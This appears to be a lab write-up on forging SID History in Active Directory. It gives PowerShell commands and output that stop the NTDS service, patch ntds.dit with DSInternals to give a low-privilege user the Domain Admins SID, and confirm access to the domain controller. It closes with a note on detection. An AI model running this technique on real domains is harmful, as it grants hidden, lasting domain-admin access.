Forging History
Domain Administrator
Make sure that our Low-Privilege User does not currently have any information in their SID History
.
- Get-ADUser
- Output
Get-ADUser <AD Username> -properties sidhistory,memberof
This Confirms that the User does not currently have any SID History
set.
DistinguishedName : CN=<AD Username>,OU=Consulting,OU=People,DC=za,DC=adobe,DC=loc
Enabled : True
GivenName : <AD Username>
MemberOf : {CN=Internet Access,OU=Groups,DC=za,DC=adobe,DC=loc}
Name : <AD Username>
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : <AD Username>
SID : S-1-5-21-3885271727-2693558621-2658995185-1429
SIDHistory : {}
Surname : <AD Surname>
UserPrincipalName :
Now we need the SID of the Domain Admins Group
since this is the Group we want to add to our SID History.
- Get-ADGroup
- Output
Get-ADGroup "Domain Admins"
DistinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=adobe,DC=loc
GroupCategory : Security
GroupScope : Global
Name : Domain Admins
ObjectClass : group
ObjectGUID : 3a8e1409-c578-45d1-9bb7-e15138f1a922
SamAccountName : Domain Admins
SID : S-1-5-21-3885271727-2693558621-2658995185-512
Now we can use either Mimikatz
- DSInternals Tools
to add SID History. In this case, we will use the DSInternals Tools to directly Patch the ntds.dit
file, the AD Database where all Information is Stored.
The NTDS Database is locked when the NTDS Service is Running. In order to Patch our SID History, we must first Stop the Service. We must restart the NTDS Service after the Patch, otherwise, Authentication for the entire Network will not work Anymore.
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName '<AD Username>' -SidHistory '<SID History>' -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntds
Let's switch to our Low-Privileged User and verify that the SID History was added and that we now have Domain Admin Privileges.
- Get-ADUser
- Output
Get-ADUser <AD Username> -Properties sidhistory
The Low-Privileged User has now a Matching Domain Admin SID.
DistinguishedName : CN=<AD Username> ,OU=Consulting,OU=People,DC=za,DC=adobe,DC=loc
Enabled : True
GivenName : <AD Username>
Name : <AD Username>
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : <AD Username>
SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512}
Surname : <AD Surname>
UserPrincipalName :
We can further Verify that the SID Applied Correctly by running dir
Command against the Target Domain, in this case DC.za.adobe.loc
:: List Target Domain Contents
dir \\DC.za.adobe.loc\c$\
Side Note
If we were to RDP into one of the Hosts and use the AD Users and Groups Snap-In, we would be able to view the SID History Attribute added to our User.
However, even with the Highest possible Privileges, we would not be able to Remove the Attribute since it is Protected. In order to remove this, we would have to use Tools such as the AD-RSAT PowerShell Cmdlets to remove SID History.
However, before we can even think about Removing Malicious SID History Attributes, we first need to find them. None of the regular Tools will tell us that something is Wrong. That User will not all of a sudden pop up as a Member of the Domain Admins Group. So unless we are Actively Filtering through the attributes of your Users, this is incredibly Hard to find. This is because the SID History is only applied and used once the user Authenticates.